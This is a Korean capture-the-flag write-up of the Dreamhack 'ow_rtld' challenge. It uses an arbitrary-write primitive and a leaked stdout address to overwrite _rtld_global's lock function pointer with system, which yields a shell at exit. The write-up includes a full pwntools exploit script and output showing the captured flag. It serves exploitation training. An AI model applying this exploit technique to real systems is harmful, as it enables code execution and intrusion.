Description
Exploit Tech: _rtld_global에서 실습하는 문제입니다.
checksec
seo@ubuntu:~/dreamhack$ checksec ./ow_rtld [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [*] '/home/seo/dreamhack/ow_rtld' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
보호기법이 전부 다 걸려있다.
Decompiled-src
main
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [rsp+4h] [rbp-1Ch] BYREF _QWORD *v5; // [rsp+8h] [rbp-18h] BYREF __int64 v6[2]; // [rsp+10h] [rbp-10h] BYREF v6[1] = __readfsqword(0x28u); init(argc, argv, envp); printf("stdout: %p\n", _bss_start); while ( 1 ) { printf("> "); __isoc99_scanf("%d", &v4); if ( v4 != 1 ) break; printf("addr: "); __isoc99_scanf("%ld", &v5); printf("data: "); __isoc99_scanf("%ld", v6); *v5 = v6[0]; } return 0; }
stdout 주소를 알려주고
초기에 1을 계속 입력하면, 항상 scanf를 통해 원하는 주소에 값을 쓸 수 있다.
Solution
stdout 주소를 알려주기 때문에, libc base 주소를 쉽게 구할 수 있다.
seo@ubuntu:~$ cat /proc/13328/maps ... 7f91aa731000-7f91aa918000 r-xp 00000000 08:01 1189215 /lib/x86_64-linux-gnu/libc-2.27.so ... 7f91aab22000-7f91aab49000 r-xp 00000000 08:01 1189211 /lib/x86_64-linux-gnu/ld-2.27.so ... seo@ubuntu:~$ cat /proc/13514/maps ... 7f9517a0f000-7f9517bf6000 r-xp 00000000 08:01 1189215 /lib/x86_64-linux-gnu/libc-2.27.so ... 7f9517e00000-7f9517e27000 r-xp 00000000 08:01 1189211 /lib/x86_64-linux-gnu/ld-2.27.so ...
ld base 주소 또한 쉽게 구할 수 있다.
hex(0x7f9517e00000 – 0x7f9517a0f000)
‘0x3f1000’
hex(0x7f91aab22000 – 0x7f91aa731000)
‘0x3f1000’
오프셋 차이는 0x3f1000로, libc_base 주소에서 0x3f1000을 더하면 ld_base 주소를 구할 수 있다.
(ubuntu 18.04.3 server 64bit, libc6:2.27-3ubuntu1 기준)
이제 프로세스가 종료 될 때 호출 되는 구조체를 사용하여 우리가 원하는 함수를 호출시키게 만들면 된다.
프로세스가 종료 될 때 호출 되는 구조체를 사용할 수 있다.
전에 봐왔던 rtld 문제처럼, 프로세스가 종료되는 과정은 다음과 같다.
__GI_exit
-> __run_exit_handlers
-> _dl_fini
_dl_fini 함수를 살펴보면,
https://github.com/bminor/glibc/blob/glibc-2.27/elf/dl-fini.c#L53
void _dl_fini (void) { ... #ifdef SHARED int do_audit = 0; again: #endif for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns) { /* Protect against concurrent loads and unloads. */ __rtld_lock_lock_recursive (GL(dl_load_lock)); ...
for문 안을 보면 dl_load_lock
을 인자로 해서 __rtld_lock_lock_recursive
함수를 호출하는 것을 볼 수 있다.
seo@ubuntu:~/dreamhack$ sudo apt install libc6-dbg=2.27-3ubuntu1
이제 오프셋을 하나씩 구해보자.
gdb-peda$ p &_rtld_global._dl_rtld_lock_recursive $2 = (void (**)(void *)) 0x7ffff7ffdf60 <_rtld_global+3840> gdb-peda$ p &_rtld_global._dl_load_lock $3 = (__rtld_lock_recursive_t *) 0x7ffff7ffd968 <_rtld_global+2312>
각각 _dl_rtld_lock_recursive은 _rtld_global+3840,
_dl_load_lock은 _rtld_global+2312 지점에 있다는 것을 알았기 때문에,
이제 _dl_rtld_lock_recursive에는 호출하려는 주소인 system 주소를 덮어쓰고,
_dl_load_lock에는 인자인 “/bin/sh” 주소를 덮어써주면 쉘을 획득할 수 있다.
solve.py
from pwn import * #p = process('./ow_rtld') p = remote('host3.dreamhack.games', 20469) e = ELF('./ow_rtld') libc = ELF('./libc-2.27.so') ld = ELF('./ld-2.27.so') stdout = p.recvline() stdout = stdout.split(b": ")[1] stdout = stdout.split(b"\n")[0] stdout = int(stdout, 16) print(f"stdout: {hex(stdout)}") libc_base = stdout - libc.symbols['_IO_2_1_stdout_'] print(f"libc_base: {hex(libc_base)}") ld_base = libc_base + 0x3f1000 print(f"ld_base: {hex(ld_base)}") dl_rtld_lock_recursive = ld_base + ld.symbols['_rtld_global'] + 3848 print(f"dl_rtld_lock_recursive: {hex(dl_rtld_lock_recursive)}") dl_load_lock = ld_base + ld.symbols['_rtld_global'] + 2312 print(f"dl_load_lock: {hex(dl_load_lock)}") p.sendlineafter(b"> ", b"1") p.sendlineafter(b"addr: ", str(dl_load_lock)) p.sendlineafter(b"data: ", str(u64("sh\0\0\0\0\0\0"))) p.sendlineafter(b"> ", b"1") p.sendlineafter(b"addr: ", str(dl_rtld_lock_recursive)) p.sendlineafter(b"data: ", str(libc_base + libc.symbols['system'])) p.sendlineafter(b"> ", b"0") p.interactive()
Result
seo@ubuntu:~/dreamhack$ python3 solve.py [+] Opening connection to host3.dreamhack.games on port 20469: Done [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) [!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2) stdout: 0x7f25ba74d760 libc_base: 0x7f25ba361000 ld_base: 0x7f25ba752000 dl_rtld_lock_recursive: 0x7f25ba97af68 dl_load_lock: 0x7f25ba97a968 [*] Switching to interactive mode $ ls flag ow_rtld $ cat flag DH{a5bd416ee5f23da9f378c1b5d177b99366141f93beb3eabfa5b74abcf83f4293} $ [*] Interrupted [*] Closed connection to host3.dreamhack.games port 20469